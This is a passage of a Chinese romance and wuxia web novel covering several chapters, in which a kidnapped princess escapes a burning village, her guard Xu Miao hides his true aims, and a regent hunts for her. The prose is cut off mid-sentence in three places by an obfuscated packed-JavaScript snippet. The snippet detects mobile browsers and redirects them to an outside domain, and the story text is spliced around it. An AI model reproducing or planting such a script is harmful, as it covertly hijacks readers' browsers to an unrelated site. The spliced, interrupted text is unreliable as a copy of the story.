徐渺将剑刃抵近人质三分,冷道:“有位姑娘被你们村的人绑走了,交出她,否则你儿性命不保。” 老族长故作惊讶:“哦?你可有什么证据?若无凭无证,闹到官府面前,是要挨板子的。” 徐渺眼中迸过一丝杀意,“屋中被锁的女人们便是证据,这些年你们拐骗了多少无辜女子?休要再抵赖,再不把人交出,我就杀了他。” “爹!我真的不想死,你快把人交出去吧!”新郎官脸上血色尽失。 “你闭嘴!”老族长怒瞪了一眼自己那不成器的小儿子,再看向徐渺时,脸上神情带着几分狠辣与老成,道:“你想杀就杀,但后果可要想清楚了,我的大儿子乃本县县令,你若杀了县老爷的兄弟,等着受挫骨扬灰的极刑。” 老族长说罢,便转过头去,闭上眼睛,任凭小儿子如何哭喊求救,皆不为所动。 正僵持之际,房后传来一声哨响,徐渺将新郎官往地上一扔,扭头朝厉欢颜道:“别放任何人出去。”说罢,便循着哨响,跳上房檐,背影消失在夜幕之中。 厉欢颜来不及多问,只好握紧剑守着房门,有个村民手持砍刀上前,欲与她搏斗,却被她一剑挑断了手筋,倒在地上血流不止,此刻没人再敢上前。 蓝袍道士躲在厉欢颜身后,默默竖起大拇指。 老族长压低声音,吩咐心腹从暗道逃走,赶快去把县老爷请过来。 半盏茶过后,徐渺去而复返,还带回来一个被五花大绑的狼狈男人,那男人蓬头散发,身上的官服沾满污泥,嘴里不住地骂着:“尔等草民竟敢绑架本官!死罪!通通死罪。” 老族长瞧见大儿子的瞬间,便已经开始慌了,他没想到这几个人竟如此大胆,连朝廷命官都敢绑架,心中顿时又急又怕,大儿子是他的谈判的底气,如今这情形,恐怕两个儿子都保不住了, 当徐渺的长剑再次抬起,老族长立马松口:“且慢且慢,少侠有话好说,刚才卫兵来报,确实有两个手下人不懂事,瞒着我们抓了少侠的人,我这就让人把那姑娘带来,还请少侠切莫伤我儿。” 方才被胁迫的小儿子瞧见父亲如此快松口,捶胸顿挫:“爹,你好偏心!” 大儿子见了,强拧着不从:“爹,别听他们的,我看谁敢杀朝廷命官!” 老族长怒拍桌子:“你们都住嘴!赶紧去把人……” 老族长的话还没说完,肺腑一阵剧烈疼痛,登时瞪圆了眼珠,竟七窍流血,倒地而亡。 与此同时,新郎官与其余村民皆是同样症状倒下,很快没了声息。 一时间,地面躺满死状可怖的尸首,院中唯有徐渺三人,和那被强掳来的县令还活着。 那县令目光惊惧地望着眼前的一幕,呆愣在原地,说不出话来。 厉欢颜忙跨进门来,查看了尸首,“果然是那郎中干的。” 蓝袍道士重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻梨面露坚毅之色,紧紧握着手中的金簪,其实心中慌得不行,她没多少把握能制服对方,所以待小婉砸人之际,她打算用金簪戳死对方,希望老天保佑她一击必中,千万不要戳歪了。 商量好后,小婉躲在暗处,闻梨照计划上前拍响房门,想要引起门外人的主意。 可她使劲拍了好多下,仍不见有人前来,正疑心着是不是外面没人,凑近耳朵一听,似乎听到劈里啪啦的烧柴声,还隐约听到有人喊救火。 莫不是外面着火了?此时不逃,更待何时? 闻梨连忙把烛火端来,趴在在门边,想利用这火把门烧开,但这门似乎是用某种防火木料所制,她烧了半晌,只是燎黑了面上一层,不见起来一点火星。 正当闻梨愁眉苦脸之时,衣角忽而被人拽了拽。 小婉小声道:“姐姐,有扇窗户好像是开着的,我见从那吹进来的烟雾比别处大,但我够不着,姐姐去瞧一瞧?” 闻梨忙不迭爬起来,抬手顺着小婉所指的窗户探去,果不其然轻轻就推开了,现在闻梨终于明白那姑娘为何离开前要看她一眼,原来早给她留下了生路。 若能顺利逃出去,她一定要想办法把那可怜的姑娘也救出去。 “小婉过来!”闻梨先把小婉抱上窗,随后她也翻出窗外,门外果然没人看守,想来是救火去了。 闻梨拉着小婉,快步逃离了此处。 不多时,二人爬上了高高的山坡,发现整座村子已被火海吞没,火光冲天,烈焰叫嚣着,盯久了,愈发觉得那火苗像是个没鼻子没脸的怪物,疯狂掠食着村庄,恨不得全部吞进腹中。 “姐姐,村子里的那些可怜人能逃出来吗?”小婉忽然问了一句。 闻梨拉紧她的手,“我们该回去了。” 破庙离寿阳村约有六里路,路上闻梨又差点走错道,幸好小婉记得路,二人回到破庙时,已月上中天,身后的火光也逐渐黯淡。 “哥!我回来啦!”小婉跨进门槛,本想扑进兄长怀里痛哭一场,却见庙中无人,漆黑一片。 闻梨也瞧见了,马儿还拴在树下,几人的包袱被褥原样留在庙中,就连那蓝袍道士的幡子都没来得及收起,看样子走得挺急。 会不会是徐渺他们寻不到她,便放火烧了村子? “他们怎么都不在啊?”小婉有些气馁。 闻梨没说什么,抬腿走进庙中,很快将包袱被褥都搬上马车,小婉也跟着搬了一趟,最后才抱着哥哥为数不多的东西,乖乖地站在了马车旁。 闻梨牵来马儿,架好马车,拍了拍身边的位置:“快上来,我们一起回去接他们。” 小婉麻利爬上马车:“姐姐你驾车的本事怎么样?” “好着呢,扶稳了!”闻梨一甩马鞭,马儿嘶吼一声,马蹄飞翻,差点连马带车冲进沟渠中。 小婉险些被甩飞出去。 32. 第三十二章 “少主,容属下斗胆问一句,您是不是忘了自己的身份和任务?”高鹤看着废墟之中那抹正不停翻找的背影,最终还是问出了口。 在高鹤心中,自家主子不论处在何种险境,历经多少回生死,年纪轻轻,总是有一种从容不迫的气度,和那副波澜不惊的沉稳心态,这样的坚毅和理智,吸引了无数忠肝义胆的属下为主子奔波卖命。 然而主子也从未让他们失望过,这一路走来,主子的成长和努力,他都看在眼里,心疼却也敬佩不已。 如今主子为了区区一个姑娘,置他们这些属下的性命于不顾这事暂且不提,竟把自己搞得这般狼狈不堪,一向最爱干净的主子,此刻灰头土脸,唯有那双勉强能辨认的眼眸布满血丝,指甲早已折断,嵌入深深的灰烬,手背还被烫破了一层皮,哪还有半点成事者的风度和英姿? 良久过后,高鹤听到废墟那边传来主子沙哑低沉的声音:“我没忘。” “要是没忘,主子为何这般在意那姑娘的生死?” 徐渺背影一僵,缓缓停下刨坑的动作,“她必须活着,才能……利用她,引来谢陵。” 高鹤抱拳:“恕卑职直言,以谢陵对那姑娘的看重程度,死人也能引他上钩,就算找不到尸首,只要给点假消息,不愁他不上套,少主何等聪明,必能明白属下的谏言,切莫在这事上犯糊涂,陈大人还等着少主去救。” 徐渺彻底沉默了,好一半晌才从地上爬起来,恢复往日的冷静:“我知道了,你们去找找那县令是否活着,倘若活着,杀了,别留下任何痕迹。” 高鹤领命离去。 徐渺踏着沉重的脚步往外走,瞧见了同样灰不溜秋的厉欢颜和蓝袍道士,他二人坐在废墟中,失魂落魄,满脸憔悴。 厉欢颜抱住双膝,痛心疾首,垂泪道:“都是我不好,我要是一直在阿梨身边,就不会发生这样的事了。” 蓝袍道士也在抹泪,悔不当初:“是我不该贪那两个小钱,没看好妹妹,她还那么小,就遭此飞来横祸。” 徐渺缓步来到两人面前,声音微冷:“二位,我们就此别过吧。” 厉欢颜诧异抬头:“你要走?不再找找吗?好歹要把她的尸骨找到再走啊。” 蓝袍道士不太了解三人之间的事,这回便没插嘴。 “她的尸首我自会去找。”徐渺转过身去,不想过多解释。 见他执意要走,厉欢颜便不再拦着,她已经没心思去想别人的事情,无论如何,她都要把闻梨的尸首翻出来,但仅凭她一人,恐怕十日都翻不完,眼下这种情形,不得不给月华山庄送信,就算事后被娘亲绑回去嫁人,她也认了。 她算是看透了,天下男人都一个样,明明前一刻还将人放在心上,在乎的不得了,下一秒便又这般薄情寡义,说走就走,人都走了,还怎么挖尸首?骗谁呢? 蓝袍道士感受到厉欢颜身上散发的怒意,忙不迭往旁边挪了挪,捧着小妹送自己的木剑,独自伤心。 “阿渺!欢颜!道长!” 山路上远远传来女子清脆明朗的嗓音,那声音洋洋盈耳,飘来三人耳边却是沉甸甸的,彷佛那划破长夜的黎明,驱散了秋日里的寒意。 徐渺陡然回首,天光尚未大亮,茫茫山雾间闯来一辆疾驰的马车,身着浅衣的少女手执长鞭,乌发荡漾在风中,像悬崖上蓬勃生长的野山藤,这时恰有一束光穿透层雾,投照在少女背后,连轮廓都逸着一圈朦胧的光泽。 虽是逆着光,看不清她的脸,徐渺却惊觉,原来自己早已把她的音容笑貌深深刻在脑海中。 到了三人跟前,闻梨勒停马儿,满眼惊奇望着灰扑扑的三人,一时搞不清状况:“你们……这是怎么了?” 话音刚落,闻梨便被扑上来的厉欢颜一把抱住:“阿梨,我们都以为你死了。” “哥哥!”小婉从车上跳下,跌进蓝袍道士怀中,边哭边诉说昨晚遭遇的艰险。 闻梨几乎被厉欢颜抱得喘不过气,心里却很踏实,原来被人牵挂是这样一种的感觉,不知另外那个人,是否也会像这样惦念着她? 闻梨朝半晌没说话的徐渺投去一瞥,本以为会瞧见少年温澈含笑的眉眼,可在视线对上的刹那间,对方忽而将目光移开,脸上神色淡然如常,看不出半分失而复得的喜悦,少年整个人平静得出奇。 闻梨一怔,心中有些酸涩,彷佛空了一瞬,本就风寒未愈的她,又经过一夜的惊吓与奔波,此刻只觉浑身乏力,倒在了厉欢颜柔软的怀抱中,不省人事。 * 当丹平县县令绑架案被上报至京都时,人们无暇顾及一个边缘小县的县令是死是活,彼时的玉京城正值多事之秋,天子病危,时局震荡,皇子内斗,外戚虎视眈眈,改朝换代仅在一夜之间。 随着东宫太子的陨落,朝堂局势逐渐倒向临王一党,就在人们以为那位锋芒毕露、以铁血手腕杀尽老臣的临王殿下将要登上九五至尊之位,执掌天下时,他却驳了心腹官员的奏请,扶年仅四岁的十三皇子上位。 秋末新帝继位,改年号为丰庆,封临王为摄政王,在摄政王的辅佐下,重振朝纲,肃清余孽,又一番血洗过后,玉京城逐渐恢复往日的繁华与热闹。 刑部尚书是刚被提拔上来的,每日勤勤恳恳,诚惶诚恐做事,生怕犯一点错惹怒那位心狠手辣的摄政王,以致牵连全族性命不保,是以每桩拿不准的案件,都要去请示那位殿下的意思。 崇明殿内,刑部尚书拘谨站在阶前,“臣以为死者虽为一九品县令,但也是朝廷敕封的官员,恶徒当众行凶,打的是朝廷的脸面,倘若不加以严惩,恐怕有损君威。” 谢陵端坐案前,他今日穿了一身湖蓝色宽袖衣袍,寒冷的北风从窗间袭来,烛影晃动,愈发衬得他的脸凌厉冷峻,尤其是那双深邃而锐利的眼眸,在扫到案卷的某一处时,骤然紧缩,彷佛要把那纸剜出个洞来。 他的声音沉冷低缓,没有一丝温度:“来人,宣陆回进殿。” 话音刚落,他又反悔,把前去宣旨的人唤了回来。 待到夜深人静时分,风浅暗中翻进陆回的房间,叫醒了正呼呼大睡的陆回。 陆回有些睡迷瞪了,睁着眼皮,看着风浅的嘴皮子上下碰撞,思绪还没从梦里回来,待风浅说完好一会儿,他才如梦初醒:“王爷要我去凉州查案?现在?” 风浅重申一遍:“是凉州丹平县,王爷要大人秘密前去,不能被别人察觉。” 陆回听出这命令中的严肃之意,便不敢再耽搁,连夜出京,快马加鞭直奔丹平县。 半月后,陆回归京,当夜面见谢陵。 “王爷,查清楚了,绑走丹平县令的人,的确是当日在京城刺杀王爷的那伙人,据说那县令是个尸位素餐的好色之徒,巧事还在后头,那县令被绑走的当晚,县令的祖籍寿阳村便遭遇大火,只逃出一个活口,那人为了活命,招供说曾经绑了个姑娘,才给村庄招来祸端,您猜那位姑娘是谁?” 谢陵哪还用猜,当即拿了一卷书砸陆回身上,陆回笑着接住,“那人描述这女子容貌之时,属下便猜到是闻梨公主,据说公主身边还有三个江湖人跟着。为以防王爷还有什么话想问,属下便把那人带回京都,此刻就在殿外候着。” 没多久,一个身着粗布麻衣的农户便被带进殿中,正是当日绑架闻梨的其中一人,农户趴在地上,两股颤颤,头也不敢抬起。 谢陵卷筒中拾出一副画,吩咐风浅拿给农户辨认。 农户这才敢抬起头,但仍不敢乱看,仔细盯着画上之人,彷佛抓住了什么救命稻草:“是他,就是他,小的绝不会认错,他跟那姑娘是一伙的。” 谢陵沉下眼眸,手指搭在桌面,轻轻叩了下。 风浅立刻拔刀,做势恐吓那农户,农户被吓得六神无主,连声喊道:“小的不敢撒谎,画中人虽然蒙着面,但那双眼睛漂亮得很,小的不会记错。” 谢陵挥了挥衣袖,示意把人带下去。 农户大喜过望,还以为自己逃过一劫,殊不知刚走到殿门外,便被一把从身后刺来的剑捅破了胸膛。 陆回方才理顺了所有思绪,一脸不可思议:“也就是说,曾经刺杀王爷的人,现在跟闻梨公主在一起?” 谢陵重新铺开画卷,一双黑眸死死攫住画中人,盯了良久,忽而被气笑了:“蠢笨如斯!她以为逃离了我,就能过安稳日子?还以为有多大能耐,不还是被人耍得团团转,也就在我面前逞得了威风。” 他越说越气,大力将画卷揉搓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394122|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作一团,丢进炭盆里烧毁。 见谢陵如此烦躁恼怒,陆回上前请命道:“王爷,不如派末将去将公主救回?” 谢陵冷静下来,盯着那簇烧毁的灰烬,气闷道:“不必,既然是冲我来的,用不了多久,他会主动送上门,另外把派出去寻找公主的人悉数撤回,只留暗夜阁的人继续盯梢。” * 自那天病倒,闻梨在马车内昏昏沉沉睡了几日。 她是被一阵嬉闹声吵醒的,傍晚的日光照进车窗,车厢内亮堂堂的,光线晃得闻梨睁不开眼,适应了好一阵,她瞧见自己身上盖着厚厚的被褥,褥间还有淡淡的清香,她动了动,手背触碰到暖和的汤婆子,难怪她觉得周身暖意十足。 她撑着身子坐起,透过车窗瞧见这样一幕,金色银杏树下,厉欢颜手中握着树叶,眉飞色舞地教着小婉如何使用暗器,旁边的蓝袍道士怀里抱着木柴,笑意盈盈望着二人。 视线往远处挪去,只见徐渺坐在火堆边,面色平静,正盯着噼里啪啦燃烧的柴火愣神,不知在想些什么,落日的余晖将他那俊逸的身姿投在地面,映出一道轮廓清晰的剪影,他的周身围绕着淡淡寂寥感,与旁边欢快的氛围格格不入。 像是察觉到闻梨的视线,徐渺忽而抬头,对上投来的目光,他明显愣了一瞬,眸光微动,却有些闪躲,唇角扯了扯,很快又再次垂眸,长睫投下的阴翳,几乎遮住了他眼底的波澜。 闻梨心头一紧,原来不是她的错觉,徐渺待她较之从前,的确冷淡了许多。 “姐姐!” “阿梨你醒啦?” 不及闻梨多想,厉欢颜和小婉的热切欣喜的呼唤声,驱走了闻梨心头的些许失落。 入夜后,几人的晚饭,照旧吃的是徐渺从山里猎来的野味,闻梨大病初愈,没什么胃口,只吃了几口便把自己那份肉分给厉欢颜和小婉。 厉欢颜感动接过,大快朵颐吃起来:“阿梨你真好,真不想跟你们分开,可徐护卫今天说,到了下个城镇,你们要继续往北走?北边很冷的,你们究竟要去何处?” 闻梨迟疑片刻,下意识看向徐渺,而他也恰好望过来,乌黑眼眸中闪过一抹心照不宣,但他什么话都没说,似乎也在等她的决定。 “我们要去桃源村。”闻梨想了想,还是选择告诉厉欢颜,虽然只同行了短短一个月,闻梨却很珍惜这段友谊,若非身不由己,她真想跟着厉欢颜去武林大会上见见世面。 至于蓝袍道士和小婉,并不知道她的身份,想来也不会说出去。 “原来是桃源村,那是个好地方啊,等我参加完武林大会,就去桃源村找你们如何?”厉欢颜笑问道。 一旁的小婉听了,也吵着要跟闻梨去桃源村,被蓝袍道士戳了戳额头,“你忘了,我们下月要回去给爹娘上坟。” 小婉有些闷闷不乐:“那祭奠完可以去吗?” 蓝袍道士这回没再拦着。 几人围坐在火堆边,热火朝天说着关于桃源村在江湖上的种种传闻,闻梨安静听着,眼前温馨的场景像是一幅画,她在心底期望着,这一刻能过得慢些,再慢一些。 “我出去一趟。”一旁沉默半晌的徐渺突然开口,不等几人反应,他径自起身,离开了林地。 闻梨落寞收回目光,面上装得毫不在意,不想因此搅扰大家夜谈的兴致。 厉欢颜轻哼一声:“这徐护卫最近老是一个人往外走,阿梨你可要看紧点,不听话的护卫,就该趁早辞了,我瞧着他跟你不是一条心的。” 一想到徐渺这几日的反常,闻梨觉得好奇:“此话何意?” 厉欢颜凑来闻梨耳边,说起了悄悄话:“你失踪那天,我暗中跟踪徐护卫,瞧见他用飞鸽联系什么人,为了救你,他还绑走了官府的人,他的来历一定不简单,此外,在你养病这几日,他经常不说一声就离开,简直像是变了个人。” 听说徐渺绑了官府的人,闻梨心口突突直跳,最近悠闲的日子让她快要忘掉谢陵这么个人,这次的事惊动官府,肯定也会惊动谢陵,再联想徐渺这几日的异样,没准他正一个人解决谢陵派来的追兵。 闻梨不能心安理得享受这份来之不易的安宁,蓦地起身,头也不回道:“我这就去帮他。” 33. 第三十三章 闻梨追出林地,没有瞧见徐渺的身影,此时天色早已黑透,她没有贸然走远,折身回去时,厉欢颜等人已经在铺床准备睡觉。 身旁的厉欢颜和小婉睡得正熟,闻梨睡在中间,几乎没怎么翻身,眼睛盯着马车顶篷发呆,耳朵却在留神听外边的动静。 不知过了多久,马车外传来几句低声交谈,四周再次变得安静,闻梨悄然起身,没等她蹑手蹑脚爬下马车,车窗忽而被人轻敲了下。 “睡了吗?”窗外传来少年清冷的嗓音。 闻梨回头看一眼厉欢颜和小婉,见她二人并未被吵醒,便悉悉索索穿衣穿鞋,掀帘而出。 深秋的夜晚过于寒凉,闻梨裹了件厚厚的斗篷,埋头跟着徐渺走到林子的另一处空地,这期间谁也没有先开口。 面前的少年忽地停下脚步,闻梨也跟着停下,抬头发现空地上不知何时生了火堆,火上正烤着地瓜,香甜的味道扑面而来,肚中不争气地咕了一声。 “哪来的烤地瓜?”闻梨记得厉欢颜说过,这附近是荒郊野外,没有农户与农田,难不成是徐渺私藏的? 徐渺回眸对上闻梨怀疑的目光,瞬间明白她的意思,难得一笑:“我没私藏,刚挖来的,你瞧没烤的那些还沾着泥土。” 闻梨顺着徐渺所指的地方望去,果真如他所言,此外她还发现他的鞋边、手腕处的袖口都沾了湿泥点。 真是他现挖的啊? 徐渺弯腰拾起一根柴,从火堆里扒出个圆滚滚的地瓜,拨去外皮后,送到闻梨面前,道:“我见你晚饭没什么胃口,多少吃一点,病才好得快。” 闻梨望着那黄澄澄的瓜肉,心中又惊又喜,还带着点酸涩和纠结的心绪,惊喜的是,有人会惦记着她没吃饭,纠结的是,平白无故,他为何对她这样好?他对她若即若离的态度,又是因为什么? 闻梨恍惚着接过烤地瓜,满满咬了一口,差点烫掉她的牙。 “你慢点吃。”徐渺赶忙给她递去自己的水壶。 闻梨喝了一口,才后知后觉自己拿了徐渺的壶,心虚地看了他一眼,“我明天洗干净再还给你。” 徐渺:“无妨,我并不介意。” “……”闻梨的心被他这句话搞得七上八下,不介意是什么意思?啊?是她理解的相好的意思吗? 闻梨感觉自己的心跳越来越快,为杜绝自己胡思乱想,她岔开话题道:“那……你刚刚突然走掉,我以为你独自一人去对付追兵了。” “追兵?”徐渺愣住:“抱歉,让你担心了。说起来,追兵已有一阵子没出现了。” “阿渺。”闻梨扭头看向与她并肩而坐的少年,神色染着几分少有的认真:“我都知道了,你不必在瞒着我。” 徐渺登时僵住,清亮的眼眸闪过一丝不易察觉的慌张,面上依旧装得平静,手掌不动声色往下一翻,一瓶迷药迅速滑落在他手心。 他已做好万全之策,倘若一会儿闻梨拆穿他的身份,他会毫不犹豫弄晕她,绑走带回去。 “你实话告诉我,是不是上次救我时,你得罪了官府的人?他们追来了对吧?”闻梨一脸真诚地说:“如果要拿你的性命来换取我的自由,我是万万不愿的,阿渺你于我而言,不仅仅只是个护卫,我在这世间没有亲人,早已把阿渺视为最亲的人,下次倘若再有追兵,我想跟阿渺共同面对。” 徐渺瞳孔骤然紧缩,脑海一片空白,刚才想要下药的决心也不复存在,他愣愣盯着闻梨那双纯澈干净的眼眸,藏着的药瓶令他感到烫手,心头升起一股莫名的情绪,他描述不太清楚这样的心绪,但是他有点后悔,后悔一开始没听高鹤他们的话,直接绑了闻梨去要挟谢陵。 他自小长大的地方,从没有一个人会全心全意信赖旁人,哪怕是血缘至亲,也会在暗地里害他,这种感觉就像是有一天,当他孤零零走在危机四伏的路边,忽然有只可怜凄惨的小猫跑来他脚边躲雨,他不过是施舍了一点点好处,小猫从此死皮赖脸跟着他,还把他当作能遮风挡雨的依靠。 小猫是如此全心全意信任他,可小猫不知道,前一刻他还在考虑把小猫卖到谁手里换点钱。 “你……为何如此相信我?”徐渺缓缓倾身,靠闻梨越来越近,双手撑在闻梨身侧,以一种包围之姿将闻梨圈住,凝视她的那双眼再没往日的清醒明澈,取而代之的是晦暗而深藏的情绪,压迫感油然而生。 “就不怕我接近你有什么见不得人的目的吗?”他的语调又低了几分,带着点试探的意味。 闻梨呆住,望着眼前这个眼神阴郁的少年,瞬间觉得陌生,原来他也有那么强硬的一面?好像有点看不透他在想什么,她与他相识不过短短数月,她对他的过往一无所知,她后知后觉,自己居然是那么的信赖他? 她有些慌了,这种慌乱不同于遇到麻烦事,像是心里有堵墙摇摇欲倒的感觉,从皇宫逃出后,几经生死的磨难在一点点重塑她活下去的希望,其实她早就发现,宫外也有数不清的争斗,天地之大,她始终没办法真正安定自己,直到遇见徐渺。 他是她在路上捡来的,头一遭救了一条命,也因此得到少年的诸多照顾,这份好与那些对她图谋不轨的人不同,至少她是这么想的。 再后来,他成了她同行路上的伙伴,互相扶持,即便面对生死都不曾弃了对方,而现在,一种可能性浮现在她脑海中,倘若这一切的好都是假的,那么她再不会去想,这世间还有什么是真的。 虚假的情谊,勾心斗角的日子,她已厌倦之极。 一想到此,曾经那些令她心灰意冷的绝望悄然蔓延上她的心头,她定定望着徐渺,泪水不自觉从眼角流淌,声音几近喑哑:“阿渺你有吗?有不可告人的目的吗。” 徐渺的身子如遭雷劈般僵在半空,向来冷静自持的神色一变,心口像是被什么柔软的东西触碰了一下,他垂眸望去,是闻梨伸手抵住了他的伏近,她的手在微微颤抖,她明显在抵触他。 他再次抬头看向她的脸,蒙昧月色下,她那张清秀俏丽芙蓉面上挂着两行泪珠,眼圈通红,眼底万念俱灰,无端让人有些怜爱。 徐渺撑身撤回,一本正经坐回自己的位置,声音轻得像是树叶从枝头飘落:“对不起,我吓着你了?” 闻梨得以喘口气,六神无主擦擦眼泪,“我、我不是讨厌你,现在的生活我很喜欢,我只是怕这一切最终会变成幻影,怕阿渺变成一个我完全不认识的人。” 徐渺沉默良久,忽而轻笑出声:“我答应过你,一路定护你周全,等到了桃源村,我们就分开吧。” * 三日后,几人抵达白溪镇,寻了间客栈住下,一行人又在镇上玩了两日,由于武林大会时间将近,明日厉欢颜便得走了,蓝袍道士也说,要趁着天没下雪带着小婉赶紧启程回乡,过了今晚,大家都要散去。 晚饭前,闻梨、厉欢颜和小婉三人去逛街,买了不少新鲜小玩意。 小婉戳了戳手中的竹编蚂蚱,有点嫌弃道:“姐姐你怎么净买些小孩子的玩意?连我这个年纪看了都觉得幼稚呢。” 闻梨一噎,本想让小婉挑个喜欢的竹编,被小婉这么一说,她只好默默将小玩意都收进布袋,扭头问道:“小婉喜欢什么?我买给你。” 小婉瞬间双眼发亮:“真的吗?我想要那个!” 闻梨顺着小婉所指的摊位上望去,原来是卖面具的,便让小婉去挑一个,小婉兴冲冲选了张猴子的面具戴上,待闻梨付过钱,正遇上从兵器铺出来的厉欢颜。 “有了它,本姑娘定能在武林大会拔得头筹!”厉欢颜扬了扬手中刚寻得的宝剑。 闻梨笑吟吟望着厉欢颜,不缓不慢从袖中掏出一条紫色流苏,上边还坠着一只可爱的小玉兔,“送给你,宝剑怎么能少了剑穗。” 厉欢颜满眼惊奇接过,“你何时买的?很漂亮,我很喜欢,有了阿梨送的剑穗,我肯定会战无不胜!” 闻梨笑道:“不是买的,是我自己做的,坠上的小兔是小婉帮着挑的。” 小婉骄傲叉腰,一副得意神色。 厉欢颜眼神极好,见闻梨袖中还藏着根蓝色的编织线,趁其不注意,探手取来,握在手中细看,才发现原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408662|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是块玉佩,编织手法与自己的剑穗一模一样。 “让我猜猜,这玉佩肯定是送给徐护卫的?” 闻梨眨了眨眼,没有否认。 “当真是送给他的啊?”厉欢颜打趣道:“你可知道女子送男子玉佩意味着什么?” 闻梨打断她的幻想,语气中有一丝释怀:“没别的意思,只是想谢谢他这一路的护送,等到了桃源村,他也会离开,去做自己的事情。” 厉欢颜听罢,惋惜道:“走就走吧,不够坦诚的男人不要也罢,等我参加完武林大会,就去桃源村看你!” 闻梨欣喜应下:“好!”如果那个时候,没有追兵的话。 入夜后,客栈门前路人少了许多,大堂内冷冷清清,唯有个店小二在柜台前打着瞌睡。 “小二,上两壶酒,要最烈的那种。”厉欢颜边说边拉开椅子,招呼几人落座。 “我要跟梨姐姐坐一起。” 没等小婉窜到闻梨身边,便被厉欢颜拦住,拉去自己身边,“今晚你就坐我旁边,每天都缠着阿梨,难不成想撮合阿梨跟你兄长?” 闻梨险些碰掉面前的碗筷,用惊惶的目光看向一本正经胡说八道的厉欢颜。 蓝袍道士与徐渺尚未入座,听了此话,前者不显不露加快脚步,率先挑了远离闻梨的位置坐下,后者没说什么,自然而然在闻梨身边落座。 两人之间隔着不远不近的距离。 小婉的小心思被戳破了,没有恼怒,反而天真无邪道:“阿梨姐姐当我嫂子也挺好的嘛,是吧哥哥唔……” 蓝袍道士眼疾手快塞了块糕点在小婉嘴里,试图堵住自家小妹的话,“小孩子不要乱说话。” 厉欢颜隔着闻梨,飞快扫了眼徐渺的神色,只见对方神情淡淡一如往常,丝毫没有吃醋或者失落的迹象,看来果真如阿梨所言,两人是没戏了。 “你叫段……段什么来着?”厉欢颜看向蓝袍道士。 尽管被问过很多遍,蓝袍道士仍很有耐心地告诉厉欢颜自己的名字:“段别尘。” 厉欢颜起身倒酒:“来来来段道长,先给你满上,咱俩也算不打不相识,日后遇着什么困难,给写封信去月华山庄,有我罩着你跟小婉,保准江湖上没人找你麻烦。” 段别尘笑着接过:“在下多谢姑娘。” 厉欢颜略过小婉,小声闻梨要不要喝点,没等闻梨捧着杯子过来,徐渺眼疾手快夺走闻梨的酒杯,淡淡道:“她病刚好,不宜饮酒。” 厉欢颜眼底闪过一丝狡黠,以退为进道:“不喝酒那多没趣,要不然你替她喝?” 闻梨刚想说自己能喝,却听到身旁的徐渺应声说好。席间,闻梨瞧见厉欢颜一杯又一杯给徐渺灌酒,到后来,也不知厉欢颜给段道士说了句什么悄悄话,后来就变成二人一起灌徐渺酒。 喝到后半夜,徐渺没倒下,厉欢颜先醉了,被闻梨扶着出去醒酒。 闻梨使劲给她拍背:“为何这么喝呀?” 厉欢颜趴在栏杆上,醉眼朦胧道:“我知道阿梨心里放不下徐护卫,所以今晚想灌醉他,有什么误会说开,自然就好了,别像我一样,什么话都没说,就落荒而逃了,怪可惜的。” 闻梨心中微热,“稀里糊涂也许是件好事,至少能快快乐乐过一阵子。” 厉欢颜不以为然,“未免太悲观了些,既然徐护卫要走,你干脆跟我走得了,武林大会上有数不胜数的青年才俊,没了徐护卫,说不定王护卫,李护卫,男人多的是。” 厉欢颜一把揽过闻梨的肩膀,醉醺醺道:“总之跟着我混,定给你寻个如意郎君,倘若寻不到,咱姐俩一起过也挺开心的,等我在武林大会上扬了名,立了威,推掉婚事,当上庄主,我就给你搜罗全天下长得好看的男人伺候你……哇……” 厉欢颜说着又吐了一地。 闻梨撑起厉欢颜,扶着她往楼上客房走去。 二人刚走,一道身影翩然从屋檐落下,是个戴着面具的黑衣男子,还将二人的话全听了进去。 “全天下男人么?胃口还真不小。” 34. 第三十四章 “阿梨姐姐,等我跟哥哥回乡扫完墓,就去找你,说好咯,要给我做酒酿丸子吃!”小婉紧紧牵着闻梨的手不放。 闻梨摸了摸小婉的脑袋:“一言为定。” “路上小心,小馋猫。”厉欢颜笑道。 段别尘从街边赶来一架牛车,与几人告别后,带着小婉踏上了回乡之路。 与此同时,马行的人也将厉欢颜前几日定下的马匹牵了过来,厉欢颜翻身上马,拽着缰绳试了两步,甚是满意。 她跳下马来,将闻梨拉到一旁,悄声问:“昨晚如何?徐护卫有没有喝多?从他口中套出什么话没?” 闻梨笑着摇头,实际上昨晚她送厉欢颜去睡觉,再回大堂时,徐渺和段道长他们都已不在堂内。 厉欢颜扼腕叹息:“害我白喝了那么多喝!也罢,不管他了,阿梨,不要忘记我们昨晚的约定哦!” 闻梨郑重点头:“好,我等你扬名江湖那天。” 闻梨不舍地站在城门口,目送厉欢颜离去,寒风凛冽,天色阴沉沉的,马蹄踏过结了霜的荒草,渐渐隐没在田野间的霜雾中。 